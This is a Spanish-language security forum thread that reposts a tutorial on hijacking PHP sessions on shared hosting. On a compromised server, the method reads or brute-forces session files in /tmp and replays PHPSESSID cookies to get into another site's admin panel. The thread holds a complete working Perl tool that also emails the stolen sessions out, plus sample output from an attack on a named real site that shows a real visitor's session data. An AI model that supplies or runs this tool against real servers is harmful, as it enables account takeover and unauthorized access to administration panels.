La Comunidad DragonJAR  

Retroceder   La Comunidad DragonJAR > Seguridad > Seguridad Web

¿Qué es La Comunidad DragonJAR?

DragonJAR.org es una comunidad de investigadores, estudiantes, profesionales y entusiastas de la Seguridad Informática, En la cual se busca darle un enfoque eminentemente práctico a la teoría sin olvidar las bases esenciales de esta.

De esta manera se Tratará de ofrecer soluciones útiles a los usuarios, tanto novatos, estudiantes, como a los profesionales e investigadores, Teniendo presente que el mundo de la seguridad informática y la información es un medio que se auto inventa constantemente.

La Comunidad DragonJAR es un espacio abierto y libre para cualquier persona que desee compatir en un ambiente digital sus conocimientos o sus dudas. El registro es gratuito, toma poco tiempo y te permite disfrutar de todas las características del sitio.

Si es tu primera visita, quizás deberías visitar la Ayuda para aprender un poco sobre el uso de los foros, para empezar a ver mensajes, selecciona el foro que quieres visitar de la lista de abajo.

Respuesta
 
LinkBack Herramientas Desplegado
Antiguo 07-Dec-2009, 16:42   #1
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 710
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado Local Session Hijacking Tool

Local Session Hijacking Tool
Secuestro de sesiones local
Coded by MurdeR


Índice
__________________
.
.
.
.

"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"

Última edición por Shell Root; 07-Dec-2009 a las 20:08
Shell Root está desconectado   Responder Citando
Antiguo 07-Dec-2009, 16:45   #2
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 710
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado

Introducción

Voy a explicar brevemente en qué consiste el Secuestro de sesiones locales y posteriormente voy a presentar una tool que desarrollé para "brutear" todas las sessions en determinado panel.

Cabe mencionar que esta "pseudo-técnica", en realidad no es más que aprovechar una configuración insegura del servidor remoto para poder atacar a determinada web que se aloje en el mismo. En realidad es un error bastante común de parte de los administradores, por lo cual considero que el LSHijacking es una AS bajo la manga que se debería tener en cuenta.
__________________
.
.
.
.

"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"
Shell Root está desconectado   Responder Citando
Antiguo 07-Dec-2009, 16:46   #3
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 710
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado

Localización y formato

Todas las sesiones son almacenadas localmente en el servidor. Por lo general se suelen almacenar en /tmp, pero de no ser así en el php.ini (que suele tener lectura) podriamos encontrar el path. En algunos casos son almacenadas en directorios personalizados para cada usuario, en estos casos es poco probable que se puede efectuar este tipo de ataques.

El formato con el que se crean los archivos es "sess_"+"hash_identificatorio". Siendo el hash de 32 caracteres alfanumericos.

En su intenrior, en caso de tener permisos de lectura, nos encontraremos con todos los datos que sean almacenados para esa sessión. Ya sea usuario, contraseña, ultima visita, etc.

Un ejemplo más claro es el siguiente:
Cita:
[root@diosdela /tmp] # cat sess_7599492eccf2065508a89060f72128f4
antiddos|s:1:"1";first_time|s:2:"ON";datex|s:19:"2 009-12-06 21:01:50";
Esa session pertenece a un visitante REAL de diosdelarded, vemos que no está registrado pq no aparece la variable usuario ni contraseña, pero en caso de registrarse, seguramente con ese hash podriamos tomar su sesión.
__________________
.
.
.
.

"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"
Shell Root está desconectado   Responder Citando
Antiguo 07-Dec-2009, 16:48   #4
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 710
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado

Ejemplo de un robo de sesión

Imaginemos un supuesto en el que un atacante determinado logra acceso al servidor de Diosdelared.com. Supongamos que dicho atacante consiguió subir una PHP-Shell mediante un error de SQL Injection en otra web distinta a su objetivo. Supongamos también que los permisos de lectura de todos los directorios de Diosdelared están correctamente seteados, que el servidor no es rooteable, supongamos que el atacante no sabe que hacer.

Ese es el escenario ideal para intentar robar la session y así poder acceder al panel de administración.

Para realizar el ataque hay dos opciones, una es que todos los archivos de session tengan permisos de lectura, por lo cual bastaráa con buscar alguno relativo al domino a atacar y editar las cookies creando el PHPSESSID con el numerito mágico.

En caso de no tener lectura sobre los archivos (el caso más frecuente), es necesario probar UNO A UNO todos los strings, hasta dar con el adecuado.
Como probarlos? Para empezar habria que probar los archivos con más peso, cuanto más pesado, más datos dentro y menos probable que sea un visitante o un anonimo. Es necesario crear una cookie para el panel que queremos atacar con el siguiente formato:

Código:
Value: PHPSESSID=[HASH-32B] Path="/";
Paras saber si ha funcionado es suficiente con intentar entrar al admin que queremos atacar, si funciona es que la sessión funciona.

Como realizar todo el proceso a mano es un poco pesado, propongo utilizar alguna herramienta para facilitar la labor.
__________________
.
.
.
.

"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"
Shell Root está desconectado   Responder Citando
Antiguo 07-Dec-2009, 16:50   #5
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 710
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado Local Session Hijacking Tool

Local Session Hijacking Tool

Esta herramienta se ejecuta en el servidor a atacar y lo que hace es ir probando una a una todas las sessions almacenadas. Con cada session visita un panel dado y busca un string dado para identificar si ha habido o no un acceso exitoso al mismo.

Su utilización es muy sencilla, paso a explicarlo brevemente y a dejarles un ejemplo:

Código:
murder@netbook:~$ perl test.pl

Error, faltan parametros:
    -p || --panel  >>> define la url completa del panel a atacar.
    -s || --string  >>> define el string único para identificar el panel, entre comillas.
    -t || --tmp  >>> define la localización del directorio /tmp.

Ejemplo: ./myself.pl -p http://www.lol.com/admin -s "<form action=login.php" -t /home/tmp -c SI
Como pueden ver es necesario pasarle 3 valores. Uno es la opción "-p" con la url COMPLETA hasta el panel de administración. También es necesario pasarle un string que identifique el panel de login, como por ejemplo "<form method=post action=login.php>", esto se hace con la intención de que cuando haya una sesión que funcione el programa pueda identificarla.
El último parametro necesario es el path del tmp y se pasa con la opción -t.

Veamos un ejemplo real atacando Diosdelared.com:

Cita:
user@diosdelared.com ~] # perl lsht.pl -p Diosdelared - Seguridad Informática -s "Iniciar ses" -t /tmp.

[+] Url del panel a atacar: Diosdelared - Seguridad Informática
[+] String única para identificar el panel: Iniciar ses
[+] Path del directorio tmp: /tmp


[+] Probando...
[1] 758611451a2774cf10b628ce41be3139 No funciona...
[2] 720676c0b131a0d7741433a9952c46ce No funciona...
[3] d6292bb0d4ac9fa3e2f4c3ae65c50636 No funciona...
[4] e6056dfeda8611c5ae8035bef0db05f0 No funciona...
[5] 61383c416fe3a078aa49e9e11b3d99ef No funciona...
[6] 1025a80436553e8421b757f86b808eda Funciona!!
[!] Enviando mail...
Bien, si se fijan estamos atacando el home login de Diosdelared, el string para identificar el login es "Iniciar ses", que aparece arriba del todo si no estamos logeados.

Si se le define un email, la tool envia la lista de sessions que funcionaron via email y sino simplemente las guarda en "lista.txt".

Ahora solo resta editar las cookies con el editor de cookies que prefieran y crear una llamada "PHPSESSID" con valor 1025a80436553e8421b757f86b808eda para diosdelared.com path "/" y habremos tomado la sesión de ese usuario.

Acá les dejo el código completo de la herramienta:


Código:
#!/usr/bin/perl -w
# Tmp +r Session Steal Software
# Coded by MurdeR,
# visita www.diosdelared.com
# http://murder.diosdelared.com

#descomenta la siguiente linea si deseas que el script
#te notifique por email cuando ownee alguna session...

my $mail = "";

use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;

foreach $options (@ARGV) {
$xn++;
    if ($options eq "-p" or $options eq "--panel") {
        $admin = $ARGV[$xn];
                            }
    if ($options eq "-s" or $options eq "--string") {
        $string = $ARGV[$xn];
                            }
    if ($options eq "-t" or $options eq "--tmp") {
        $tmpdir = $ARGV[$xn];
                            }
                }
if (!defined($tmpdir) or !defined($admin) or !defined($string)) {
    print "Error, faltan parametros:
    -p || --panel  >>> define la url completa del panel a atacar.
    -s || --string  >>> define el string único para identificar el panel, entre comillas.
    -t || --tmp  >>> define la localización del directorio /tmp.

Ejemplo: ./myself.pl -p http://www.lol.com/admin -s \"<form action=login.php\" -t /home/tmp -c SI\n";
    exit();
                                    }
#tomando valores por stdin
print "[+] Url del panel a atacar: $admin\n";
print "[+] String única para identificar el panel: $string\n";

#separo el host de la url...
my $host;
@host=split("http://",$admin);
@host = split("/",$host[1]);
$host = $host[0];

print "[+] Path del directorio tmp: $tmpdir\n";

print "\n\n[+] Probando...\n";
opendir(IMD, $tmpdir) || die("Cannot open directory");
@archivos= readdir(IMD);
closedir(IMD);

my $n=0;
foreach $archivo (@archivos)
{
 unless ( ($archivo eq ".") || ($archivo eq "..") )
 {
  if ($archivo =~ m/sess_/)     {
    $n = $n+1;
    my $cookie;
    @cookie=split("sess_",$archivo);
    $cookie=$cookie[1];
    chomp($cookie);
    $lwp = LWP::UserAgent->new();

    $req = HTTP::Request->new('GET', $admin);
    $req->header('Host' => $host,
'Keep-Alive' => '300',
'Connection' => 'keep-alive',
'Referer' => 'http://www.referer.com/index.php',
'Cookie' => 'PHPSESSID=' . $cookie . '; path=/');

    $contenido = $lwp->request($req)->as_string;

    if ( $contenido =~ m/$string/)          {
            print "[$n] $cookie No funciona...\n";
                                            }
    else    {
            printf "[$n] $cookie Funciona!!!\n";
        open(ARCH,">> lista.txt") || print "[!] No pudo guardarse $cookie";
        print ARCH "$n $cookie\n";
        close(ARCH);
        if ($mail ne "")     {
            print "[!] Enviando mail...\n";
            system('cat lista.txt | mail -s "Owned Session" $mail');
                    }
            }
$lwp="";
$req="";
                }
 }
}
Me queda pendiente agregarle una opción para mantenerse ejecutando a la espera de que el admin inicie sesión. De ese modo podria ampliarse el margen de tiempo del ataque a dias, sin necesidad de interactuar con el programa. Simplificando muchisimo las cosas y aumentando considerablemente la eficacia.
__________________
.
.
.
.

"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"
Shell Root está desconectado   Responder Citando
Antiguo 07-Dec-2009, 16:59   #6
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 710
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado

Conclusiones / despedida

Como habran notado es muy sencillo robar una session cuando tenemos acceso local al servidor y con la herramienta se reduce a un simple comando la tarea de probar uno a uno todos los archivos.

Esta es una técnica muy poderosa que puede servir de comodín cuando ya no se sabe que más hacer para ownear al lammo :P
__________________
.
.
.
.

"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"
Shell Root está desconectado   Responder Citando
Antiguo 07-Dec-2009, 18:05   #7
Dragonauta con Privilegios
 
Avatar de Dédalo
 
Fecha de Ingreso: 22-March-2009
Ubicación: Lima - Perú
Mensajes: 289
Gracias: 18
Agradecido 70 veces en 51 Mensajes
Dédalo llegará a ser famoso muy pronto
Predeterminado

Está bueno el desarrollo de una t00l como esta pero esto lo podemos hacer de manera manual también...


Saludos
Dedalo
__________________



Siganme en twitter

http://twitter.com/seguridadblanca
Dédalo está desconectado   Responder Citando
Antiguo 07-Dec-2009, 18:24   #8
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 710
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado

Cita:
Iniciado por Dédalo Ver Mensaje
Está bueno el desarrollo de una t00l como esta pero esto lo podemos hacer de manera manual también...
Está la Tool en Perl, solo que un moderador tiene que ver el mensaje para aceptarlo :S
__________________
.
.
.
.

"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"
Shell Root está desconectado   Responder Citando
Antiguo 07-Dec-2009, 19:51   #9
Moderador Global
 
Avatar de hecky
 
Fecha de Ingreso: 07-September-2008
Ubicación: Mexico D.F
Mensajes: 1.252
Gracias: 86
Agradecido 179 veces en 95 Mensajes
hecky llegará a ser famoso muy pronto
Predeterminado

Cita:
Iniciado por Shell Root Ver Mensaje
Está la Tool en Perl, solo que un moderador tiene que ver el mensaje para aceptarlo :S
Aceptado
hecky está desconectado   Responder Citando
Respuesta

Etiquetas
hijacking, local, secuestro, sesiones, session, tool

Herramientas
Desplegado

Normas de Publicación
No puedes crear nuevos temas
No puedes responder mensajes
No puedes subir archivos adjuntos
No puedes editar tus mensajes

Los Códigos BB están Activado
Las Caritas están Activado
[IMG] está Activado
El Código HTML está Desactivado
Trackbacks are Activado
Pingbacks are Activado
Refbacks are Activado



La franja horaria es GMT -6. Ahora son las 08:12.